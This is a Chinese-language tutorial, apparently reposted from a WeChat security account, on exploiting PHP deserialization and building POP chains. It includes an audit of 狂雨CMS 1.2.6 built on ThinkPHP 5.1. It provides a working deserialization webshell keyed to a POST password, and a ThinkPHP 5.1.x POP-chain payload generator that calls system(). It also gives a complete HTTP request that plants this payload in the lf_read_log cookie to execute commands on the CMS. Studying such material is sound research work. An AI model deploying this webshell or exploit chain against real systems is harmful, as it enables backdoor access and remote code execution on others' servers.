0x00 前言
0x01 PHP序列化与反序列化介绍
从意义上理解,serialize()序列化的作用是产生一个可存储的值的表示。在PHP官网有关于serialize()详细的解释。
而unserialize()反序列化的作用是从已经存储的表示中创建PHP的值。unserialize()这句话可能有点抽象。
但是可以通俗的解释,原本PHP中一个定义好的类的对象被序列化为一个这种特定的字符串了,反序列化就可以把他还原为原本的类的对象。(PS:面向对象中类与对象的概念- -)
这里我先举一个简单的例子,不从开发的角度去分析这个反序列化和序列化,就拿打一个反序列化利用点来说。假设他可能有一条完整的POP利用链。
那么我们可能想通过这个反序列化利用点去执行命令,那么我们就可以构造一个恶意的类,让他执行我们特定的一段代码。进而实现利用。
这里我直接贴写的一个小demo,demo用到了魔术方法(后续继续介绍,前面先聊利用)。反序列化利用点简单代码:
rce.php
class demo{
var $info = "demo";
function __destruct(){
eval($this->info);
}
}
$a = $_GET['rce'];
$b = unserialize($a);
exp代码:
exp.php
class demo{
var $info = "phpinfo();";
function __destruct(){
eval($this->info);
}
}
$a = new demo();
$b = serialize($a);
print $b;
O:4:"demo":1:{s:4:"info";s:10:"phpinfo();";}
可以对比下原有的序列化字符串。
O:4:"demo":1:{s:4:"info";s:4:"demo";}
再延伸一下,如果我们可以控制这个特定的位置需要被执行的代码,也就可以实现通过反序列化来执行命令的一句话webshell,也就是前两年有段时间比较流行的马。
简单的实现起来可能就是这样的,可惜D盾对这一系列的马有检测特征。其实这个应该有更多的变形才对,不知道是不是大佬都不公开哈哈哈。
反序列化一句话简单代码:
class demo{
var $info = "demo";
function __destruct(){ //__destruct魔术方法
eval($this->info); //eval函数执行命令
}
}
$a = $_POST['rce']; //webshell连接密码
$len = strlen($a) + 1; //长度
$str = "O:4:"demo":1:{s:4:"info";s:".$len.":"".$a.";";}"; //demo类的对象序列化后的字符串
$b = unserialize($str); //反序列化过程触发魔术方法
0x02 POP
魔术方法:
利用PHP中的反序列化,主要要有利用链。其实魔术方法这种利用链,主要多是在CTF中常出现的。
构造POP链:
-
unserialize()参数值可控(还可以是phar协议,此文中暂不分析) -
调用危险函数路径可通。
什么是路径可通呢?
这里翻一篇文章找到了lemon师傅的一个demo:
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
可以看到lemon类中,有两个魔术方法,分别进行了两个
操作,__construct()实例化了一个normal类的对象,
__destruct()执行了action()方法。但是可以看到
evil类中,同样有action()方法,并且有危险函数
eval()。
再看unserialize()方法,我们可以通过get传参进而
控制反序列化的参数输出。那么,就可以构造序列化的
exp字符串,把实例化的normal类替换为evil类。
action()方法在evil类和normal类中同名,在执行
__destruct()方法时,名为ClassObj的对象调用的方
法就变为了evil类中的action()方法。这样我们就完成
了利用,贴下exp的代码,我们来试试效果。class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
成功。
TP框架中的POP链:
然后就是说审计这一块,其实单纯的找一个反序列化的利
用点,我们或许只需要全局搜索unserialize()方法,
但是像如果想准确的利用反序列化,我们就需要找到POP
链,在TP框架中,多个版本都有几条POP利用链。
这里例举5.1.X,看到别人的文章分析至少有两个POP链,
一个实现任意文件删除,一个可以执行命令。
具体参考文章:thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
https://xz.aliyun.com/t/6619Thinkphp 反序列化利用链深入分析
https://paper.seebug.org/1040/
在审计同框架CMS时,比如TP二开的CMS,如果作者没有
把这里堵上,那么只要有可控的unserialize()方法,
就可以直接利用。0x03 审计
狂雨CMS
这款CMS最近在某坛子看到别人审了,TP5.1.X的二开
CMS,正好有个很典型的反序列化利用点,这里就拿来验
证审计思路,使用的版本是1.2.6。
搭建环境:PHPSTUDY nginx1.15.11 mysql5.5.29 php7.3.4 使用nginx对这款cms要配置伪静态规则,不然安装的过
程就可能出现问题:location / {
if (!-e $request_filename){
rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}
代码分析:
我的审计思路一般是黑盒加白盒。这样的话可以通过实际
操作了解一些cms的功能点。
这里我们直接去审计反序列化利用点,通常情况下,我们
可以直接全局搜索unserialize()方法。
在application目录下看到了多处反序列化的点,可以
一个一个的看一下。
从文件的自面意思上看,这个文件可能包含是用户看用户
最近读的书的功能模块,我们看来第一处。
在
applicationusermodelRecentread.php
中第23行。
直接从cookie中获取read_log的值,并反序列化。我
们只需要构造一个read_log在cookie里就可以直接
利用了。
再看另外几处,同样是read_log参数的反序列化。
那么接下来就是利用,从位置上来看都是user的model。 我们可以去跟一下,看哪里用到了Recentread,在
controller里找到了,但是看到继承了UserBase,
那么肯定有权限控制,方法不能直接被调用。
applicationusercontrollerRecentread.php
applicationcommoncontrollerUserBase.php 看到这里可以看到权限控制,必须登录后才能利用了。
如果能绕过登录验证,那么这个洞也可以直接利用。
这里先测试注册普通用户,尝试打一下TP5.1.X的反序列
化poc。在注册的过程中发现他的cookie貌似都有前缀。
Cookie: lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab
跟一下看看是不是加上了前缀,在 configcookie.php中看到了cookie前缀。
等会儿利用的时候加上。
漏洞利用:
这里注册了一个用户名为test33的普通用户。 我们直接去访问刚才看到的Recentread功能模块,
在cookie中加上lf_read_log,参数值为我们序
列化的利用poc。
GET /user/recentread/index.html HTTP/1.1
Host: www.keefe.is
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.keefe.is/user/comment/index.html
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,fr;q=0.5
Cookie: lf___forward__=%2F; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test33%22%7D; lf_user_auth_sign=73f108f400508594ce52afaeabe4c7ee587082ab;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22hello%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D;
Connection: close
这里贴下网上找的tp5.1.x的poc,这个是命令执行,还有一个删除文件的链:
namespace thinkprocesspipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace thinkmodelconcern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["hello" => "system"];
public function get()
{
$this->data = ["hello" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use modelconcernAttribute;
use modelconcernConversion;
}
}
namespace thinkmodel{
use thinkModel;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new thinkmodelPivot();
$payload = new thinkprocesspipesWindows($conver);
echo urlencode(serialize($payload));
}
实现效果:
0x04 总结
对于PHP中的反序列化漏洞,其实还有一些场景没有提及,
比如phar这些,在实际利用场景下我们往往只需要确定
一个反序列化的利用点,就可以达到目的。而对于审计
而言,需要同时有利用链、可控的反序列化利用点,总
的来说还是很有研究价值的,大佬勿喷,思路仅供参考。
0x05 参考链接
thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
https://xz.aliyun.com/t/6619
Thinkphp 反序列化利用链深入分析
https://paper.seebug.org/1040/
php 反序列化POP链的构造与理解
https://blog.szfszf.top/tech/php
狂雨CMS前台RCEhttps://www.t00ls.net/thread-59002-1-1.html
你要的分享、在看与点赞都在这儿~ 本文始发于微信公众号(SecIN技术平台):原创 | 浅析PHP反序列化漏洞的利用与审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论